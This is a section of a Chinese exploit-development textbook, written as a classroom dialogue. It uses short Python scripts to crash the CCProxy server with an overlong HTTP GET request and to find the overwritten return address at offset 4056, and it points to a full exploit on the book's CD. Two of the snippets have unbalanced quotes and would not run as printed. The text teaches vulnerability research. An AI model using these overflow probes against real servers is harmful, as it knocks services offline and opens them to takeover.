7.2.3 实例——Python探测CCProxy漏洞

“我们用Python来对刚才讲解的CCProxy漏洞进行探测和定位。”

“刚才使用VC编程进行探测时,构造超长字符串很麻烦,而且又要建Socket,又要连接。但我们用Python写一个探测CCproxy漏洞的程序则非常简单,只需下面四句。”

>>> import httplib
>>> conn = httplib.HTTPConnection("192.168.3.151:808")
>>> a = 'A'*4080
>>>conn.request("GET",a)

“看,192.168.3.151上的CCProxy崩溃了,定位报错框如图7-16,就是0x41414141覆盖了函数返回点。测试完成!”

“啊?这就行了啊?”大家一愣,然后回过神来嚷道,“用Python写测试程序太容易了吧!”

“呵呵,是的,如图7-17。”

“解释一下图7-17,第一句‘import httplib’是加载http协议包,Python封装了很多协议包,我们直接使用就可以了;第二句‘conn = httplib.HTTPConnection("192.168.3.151:808")’就是使用协议包里面的函数,连接目标机192.168.3.151的808端口;第三句‘a = 'A'4080’构造4080长度的‘A’赋与变量a,这是脚本的优势,直接用‘’就可构造指定长度的字符串;最后一句是‘conn.request("GET",a)’,即把字符串a作为http的get请求发送过去。”

“进一步,我们用Python定位千位,只要发送如下字符串就可以了。”

import httplib
conn = httplib.HTTPConnection("192.168.3.151:808")
s = 'A'*1000+'B'*1000+'C'*1000+'D'*1000+'E'*80
conn.request("GET",s)

“报错对话框显示为 Offset: 45454545 ,说明千位是0x45-0x41 = 4。如图7-18。”

  

“依次类推,我们可以定位十位,就是4000个A,然后10个A,10个B,10个C……程序如下:”

  import httplib
  conn = httplib.HTTPConnection("192.168.3.151:808")
  s = 'A'*4000+A'*10+'B'*10+'C'*10+'D'*10+'E'*10+'F'*10+'J'*10+'H'*10
  conn.request("GET",s)

“报错对话框显示为 Offset: 46464646 ,说明十位是0x46-0x41 = 5。”

“最后定位个位。是在4050个A后,输入A到J十个字符,程序如下:”

  import httplib
  conn = httplib.HTTPConnection("192.168.3.151:808")
  s = 'A'*4000+A'*50+'ABCDEFGHIJ'
  conn.request("GET",s)

“这次报错对话框显示为 Offset: 47474747 ,说明个位是0x47-0x41 = 6。返回点轻松定出,就是4000+50+6=4056,定位完成!”

“有了返回点,攻击利用程序的编写也很简单,把各个字符串段用‘+’号连起来就OK了。攻击程序参看CCProxy.py(光盘有收录)。我们测试,也成功!”

“哇!实在是太快、太方便了,就跟方便面一样!”玉波说道。

“呵呵,是啊!Python既有脚本语言构造字符串的优势,又有很多现成的网络协议包可以使用,所以黑盒测试是Exploit编写的必备良药!”

“还有许多使用Python语言探测漏洞的自动工具和方法。”老师说道,“推荐使用fusser.py程序,它可对SMTP、FTP、POP3服务器进行自动检测。”

老师介绍完后说道,“我给大家布置一个作业,用fusser.py检查warFTP1.6的漏洞,并试着分析一下利用方法和漏洞的成因。Ok?今天就到这里,放学!”